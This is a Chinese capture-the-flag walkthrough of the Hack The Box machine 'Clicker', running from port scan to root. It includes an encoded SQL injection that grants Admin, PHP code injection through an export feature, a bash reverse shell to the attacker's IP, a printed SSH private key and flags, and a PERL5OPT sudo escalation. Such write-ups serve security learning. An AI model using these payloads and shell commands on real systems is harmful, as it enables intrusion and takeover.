扫描靶机
─(root㉿uu)-[/home/uu/Clicker]
└─# nmap -sC -sV -sT -T4 -Pn 10.10.11.232
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-25 20:43 CST
Nmap scan report for 10.10.11.232 (10.10.11.232)
Host is up (0.17s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_ 256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://clicker.htb/
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 34320/udp mountd
| 100005 1,2,3 43453/tcp6 mountd
| 100005 1,2,3 52720/udp6 mountd
| 100005 1,2,3 52927/tcp mountd
| 100021 1,3,4 37575/tcp6 nlockmgr
| 100021 1,3,4 39001/tcp nlockmgr
| 100021 1,3,4 40925/udp6 nlockmgr
| 100021 1,3,4 49224/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
1081/tcp filtered pvuniwien
1106/tcp filtered isoipsigport-1
2033/tcp filtered glogger
2049/tcp open nfs_acl 3 (RPC #100227)
4126/tcp filtered ddrepl
10180/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
有一个nfs端口,扫描出了一个clicker.htb域名,添加到hosts文件,先使用showmound 命令看看里面有个什么
showmount --exports 10.10.11.232
可以看到有个backup的文件夹,使用mount命令装载,然后导出解压,如果出现了mount point * does not exist报错,说明mnt底下没有指定文件夹,需要mkdir,可以参考这篇文章
https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting
mount -t nfs 10.10.11.232:/mnt/backups /mnt/backups -o nolock
得到了一个压缩包,cp到其他文件夹,然后unzip解压
那么多网站文件,目测是需要代码审计,先看看网站内容如何
这是游戏的预告吧,还有一个留言
先注册一个用户,进去看看
就是一个点击触发事件,没什么特别的东西,扫描一下目录,也没有发现,目录有个/authenticate.php,查看一个源代码
session_start();
include_once("db_utils.php");
if (isset($_POST['username']) && isset($_POST['password']) && $_POST['username'] != "" && $_POST['password'] != "") {
if(check_auth($_POST['username'], $_POST['password'])) {
$_SESSION["PLAYER"] = $_POST["username"];
$profile = load_profile($_POST["username"]);
$_SESSION["NICKNAME"] = $profile["nickname"];
$_SESSION["ROLE"] = $profile["role"];
$_SESSION["CLICKS"] = $profile["clicks"];
$_SESSION["LEVEL"] = $profile["level"];
header('Location: /index.php');
}
else {
header('Location: /login.php?err=Authentication Failed');
}
}
admin.php使用此ROLE变量,给用户分配一个角色
Admin.php代码
session_start();
include_once("db_utils.php");
if ($_SESSION["ROLE"] != "Admin") {
header('Location: /index.php');
die;
}
<html lang="en" class="h-100">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<title>Clicker - The Game</title>
<link href="/assets/css/bootstrap.min.css" rel="stylesheet">
<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
-webkit-user-select: none;
-moz-user-select: none;
user-select: none;
}
@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
.b-example-divider {
height: 3rem;
background-color: rgba(0, 0, 0, .1);
border: solid rgba(0, 0, 0, .15);
border-width: 1px 0;
box-shadow: inset 0 .5em 1.5em rgba(0, 0, 0, .1), inset 0 .125em .5em rgba(0, 0, 0, .15);
}
.b-example-vr {
flex-shrink: 0;
width: 1.5rem;
height: 100vh;
}
.bi {
vertical-align: -.125em;
fill: currentColor;
}
.nav-scroller {
position: relative;
z-index: 2;
height: 2.75rem;
overflow-y: hidden;
}
.nav-scroller .nav {
display: flex;
flex-wrap: nowrap;
padding-bottom: 1rem;
margin-top: -1px;
overflow-x: auto;
text-align: center;
white-space: nowrap;
-webkit-overflow-scrolling: touch;
}
</style>
<!-- Custom styles for this template -->
<link href="/assets/cover.css" rel="stylesheet">
</head>
<body class="d-flex h-100 text-center text-light bg-dark">
<div class="cover-container d-flex w-100 h-50 p-1 mx-auto flex-column">
<header class="mb-auto">
<div>
<h3 class="float-md-start mb-0">Administration Portal</h3>
<nav class="nav nav-masthead justify-content-center float-md-end">
<a class="nav-link fw-bold py-1 px-0 active" aria-current="page" href="/index.php">Back to Home</a>
</nav>
</div>
<h5 class="float-md-start mb-0" style="color:green;" name="msg">echo $_GET['msg']; </h5>
<h5 class="float-md-start mb-0" style="color:red;" name="err">echo $_GET['err']; </h5>
</header>
<main class="px-3">
$threshold = 1000000;
$top_players = get_top_players($threshold);
if (count($top_players) > 0) {
echo '<h3>Top players</h3>';
echo '<table class="table table-dark">';
echo '<thead>';
echo ' <tr>';
echo ' <th scope="col">Nickname</th>';
echo ' <th scope="col">Clicks</th>';
echo ' <th scope="col">Level</th>';
echo ' </tr>';
echo '</thread>';
echo '<tbody>';
foreach ($top_players as $player) {
echo ' <tr>';
echo ' <th scope="row">' . $player["nickname"] . '</th>';
echo ' <td>' . $player["clicks"] . '</td>';
echo ' <td>' . $player["level"] . '</td>';
echo ' </tr>';
}
echo '</tbody>';
echo '</table>';
echo '<form name="export_form" action="export.php" method="post">';
echo '<input type="hidden" name="threshold" value="' . $threshold . '">';
echo '<button type="submit" class="btn btn-primary">Export</button> ';
echo '<select style="text-align-last:center" class="form-select form-select-sm" aria-label=".form-select-sm example" name="extension">';
echo '<option value="txt">txt</option>';
echo '<option value="json">json</option>';
echo '<option value="html">html</option>';
echo '</select>';
echo '</form>';
}
else {
echo '<h3> No players to display </h3>';
}
</main>
</div>
</body>
</html>
export.php代码是另一个包含“Admin”检查的文件,这意味着需要以某种方式成为该网站的管理员,然后在以后利用该代码中的漏洞,在diagnostic.php文件中,这次对令牌进行了另一次检查
export.php代码
session_start();
include_once("db_utils.php");
if ($_SESSION["ROLE"] != "Admin") {
header('Location: /index.php');
die;
}
function random_string($length) {
$key = '';
$keys = array_merge(range(0, 9), range('a', 'z'));
for ($i = 0; $i < $length; $i++) {
$key .= $keys[array_rand($keys)];
}
return $key;
}
$threshold = 1000000;
if (isset($_POST["threshold"]) && is_numeric($_POST["threshold"])) {
$threshold = $_POST["threshold"];
}
$data = get_top_players($threshold);
$currentplayer = get_current_player($_SESSION["PLAYER"]);
$s = "";
if ($_POST["extension"] == "txt") {
$s .= "Nickname: ". $currentplayer["nickname"] . " Clicks: " . $currentplayer["clicks"] . " Level: " . $currentplayer["level"] . "n";
foreach ($data as $player) {
$s .= "Nickname: ". $player["nickname"] . " Clicks: " . $player["clicks"] . " Level: " . $player["level"] . "n";
}
} elseif ($_POST["extension"] == "json") {
$s .= json_encode($currentplayer);
$s .= json_encode($data);
} else {
$s .= '<table>';
$s .= '<thead>';
$s .= ' <tr>';
$s .= ' <th scope="col">Nickname</th>';
$s .= ' <th scope="col">Clicks</th>';
$s .= ' <th scope="col">Level</th>';
$s .= ' </tr>';
$s .= '</thead>';
$s .= '<tbody>';
$s .= ' <tr>';
$s .= ' <th scope="row">' . $currentplayer["nickname"] . '</th>';
$s .= ' <td>' . $currentplayer["clicks"] . '</td>';
$s .= ' <td>' . $currentplayer["level"] . '</td>';
$s .= ' </tr>';
foreach ($data as $player) {
$s .= ' <tr>';
$s .= ' <th scope="row">' . $player["nickname"] . '</th>';
$s .= ' <td>' . $player["clicks"] . '</td>';
$s .= ' <td>' . $player["level"] . '</td>';
$s .= ' </tr>';
}
$s .= '</tbody>';
$s .= '</table>';
}
$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s);
header('Location: /admin.php?msg=Data has been saved in ' . $filename);
diagnostic.php代码
if (isset($_GET["token"])) {
if (strcmp(md5($_GET["token"]), "ac0e5a6a3a50b5639e69ae6d8cd49f40") != 0) {
header("HTTP/1.1 401 Unauthorized");
exit;
}
}
else {
header("HTTP/1.1 401 Unauthorized");
die;
}
function array_to_xml( $data, &$xml_data ) {
foreach( $data as $key => $value ) {
if( is_array($value) ) {
if( is_numeric($key) ){
$key = 'item'.$key;
}
$subnode = $xml_data->addChild($key);
array_to_xml($value, $subnode);
} else {
$xml_data->addChild("$key",htmlspecialchars("$value"));
}
}
}
$db_server="localhost";
$db_username="clicker_db_user";
$db_password="clicker_db_password";
$db_name="clicker";
$connection_test = "OK";
try {
$pdo = new PDO("mysql:dbname=$db_name;host=$db_server", $db_username, $db_password, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
} catch(PDOException $ex){
$connection_test = "KO";
}
$data=[];
$data["timestamp"] = time();
$data["date"] = date("Y/m/d h:i:sa");
$data["php-version"] = phpversion();
$data["test-connection-db"] = $connection_test;
$data["memory-usage"] = memory_get_usage();
$env = getenv();
$data["environment"] = $env;
$xml_data = new SimpleXMLElement('<?xml version="1.0"?><data></data>');
array_to_xml($data,$xml_data);
$result = $xml_data->asXML();
print $result;
里面出先了一个hash,但是无法破解的,先标记,然后看一下save_game.php代码
session_start();
include_once("db_utils.php");
if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
$args = [];
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') {
// prevent malicious users to modify role
header('Location: /index.php?err=Malicious activity detected!');
die;
}
$args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);
// update session info
$_SESSION['CLICKS'] = $_GET['clicks'];
$_SESSION['LEVEL'] = $_GET['level'];
header('Location: /index.php?msg=Game has been saved!');
}
它似乎检查了键值中的角色,并阻止对其进行修改。save_profile函数来自c
db_utils.php代码
session_start();
$db_server="localhost";
$db_username="clicker_db_user";
$db_password="clicker_db_password";
$db_name="clicker";
$mysqli = new mysqli($db_server, $db_username, $db_password, $db_name);
$pdo = new PDO("mysql:dbname=$db_name;host=$db_server", $db_username, $db_password);
function check_exists($player) {
global $pdo;
$params = ["player" => $player];
$stmt = $pdo->prepare("SELECT count(*) FROM players WHERE username = :player");
$stmt->execute($params);
$result = $stmt->fetchColumn();
if ($result > 0) {
return true;
}
return false;
}
function create_new_player($player, $password) {
global $pdo;
$params = ["player"=>$player, "password"=>hash("sha256", $password)];
$stmt = $pdo->prepare("INSERT INTO players(username, nickname, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)");
$stmt->execute($params);
}
function check_auth($player, $password) {
global $pdo;
$params = ["player" => $player];
$stmt = $pdo->prepare("SELECT password FROM players WHERE username = :player");
$stmt->execute($params);
if ($stmt->rowCount() > 0) {
$row = $stmt->fetch(PDO::FETCH_ASSOC);
if(strcmp($row['password'], hash("sha256",$password)) == 0){
return true;
}
}
return false;
}
function load_profile($player) {
global $pdo;
$params = ["player"=>$player];
$stmt = $pdo->prepare("SELECT nickname, role, clicks, level FROM players WHERE username = :player");
$stmt->execute($params);
if ($stmt->rowCount() > 0) {
$row = $stmt->fetch(PDO::FETCH_ASSOC);
return $row;
}
return array();
}
function save_profile($player, $args) {
global $pdo;
$params = ["player"=>$player];
$setStr = "";
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
}
$setStr = rtrim($setStr, ",");
$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
$stmt -> execute($params);
}
// ONLY FOR THE ADMIN
function get_top_players($number) {
global $pdo;
$stmt = $pdo->query("SELECT nickname,clicks,level FROM players WHERE clicks >= " . $number);
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
return $result;
}
function get_current_player($player) {
global $pdo;
$stmt = $pdo->prepare("SELECT nickname, clicks, level FROM players WHERE username = :player");
$stmt->bindParam(':player', $player, PDO::PARAM_STR);
$stmt->execute();
if ($stmt->rowCount() > 0) {
$result = $stmt->fetch(PDO::FETCH_ASSOC);
return $result;
} else {
return null;
}
}
猜测应该可以通过strtolower($key)检查可以绕过,如果我们可以绕过它并添加Role参数,我们可以用Admin更新它,因为它直接传递给$args[$key]=$value,我们可以使用此请求对此进行测试,抓包
后面的level参数修改成1&%72%6f%6c%65
GET /save_game.php?clicks=9&level=1&%72%6f%6c%65 HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=e4uti6a4paqplokn5j54pn01hm
Upgrade-Insecure-Requests: 1
上面的请求返回的是302,不是500,说明它已经工作了!现在我们只需要用十六进制指定“Admin”的值。由于某些原因,它只接受“Admin”作为有效参数。
GET /save_game.php?clicks=9&level=1&%72%6f%6c%65%3d%22%41%64%6d%69%6e%22%23 HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=e4uti6a4paqplokn5j54pn01hm
Upgrade-Insecure-Requests: 1
重新登陆会看到admin选项,这是已经是管理员权限
进入Admin选项可以看到导出选项格式
当我选择txt格式,就会弹出可以导出的网址
唯一的是没有php格式的导出,然后我们抓包export代码的POST请求
尝试将extension=txt改成extension=php,然后给包,显示的是php格式
根据export 的代码,可以分析到上面有个nickname的参数,如果用php参数作为名称的值,猜测这样可以运行shell
'caixukun']); +system($_GET[
成功运行php代码,接下来直接用ssrf原理curl本地机器反弹shell
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.95/555 0>&1"' > index.html
成功反弹shell,使用find寻找可以提权的地方
find / -perm -4000 2>/dev/nul
可以发现一个/opt/manage/execute_query的文件,可以ls一下查看权限
进去那个文件夹,底下有个文本文件,打开看到看到是对该程序的应用
execute_query文件是一个ELF二进制文件,并为jack设置了SUID
将execute_query文件发到本地机器,然后使用火龙(ghidra)逆向,可以看到该程序可以对.sql的文件进行直接的读取,意味着可以直接访问其他路径
假如设置成参数是1,显示的是Admin的玩家数值,参数是2是显示其他玩家的数值,参数3是设置Admin的密码参数,参数4是清楚Admin的密码,参数5是对机器的目录访问
直接访问home文件夹,获取到了用户jack,直接输入5参数获取id_rsa密钥
./execute_query 5 ../.ssh/id_rsa
id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
保存密钥,给600权限,直接登录
成功拿到user flag:f484efdf533b13736f482e85c2597e92,输入sudo -l查看提权的信息
提权是通过/opt/monitor.sh,先看一下脚本
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
这个二进制文件没有PATH劫持,脚本在一些PATH变量上使用了unset,这基本上将它们设置为零,可以参考这篇文章
https://www.elttam.com/blog/env/
在此基础上,设置PERL5OPT=-d和PERL5DB=system(“sh”);exit我们可以得到一个root
sudo PERL5OPT=-d PERL5DB='system("id");' /opt/monitor.sh
然后直接给/bin/bash给提权权限
sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh
成功拿到root flag:47d68a90c989f6a06777bc4530f8e8ea
原文始发于微信公众号(Jiyou too beautiful):HTB-Clicker笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论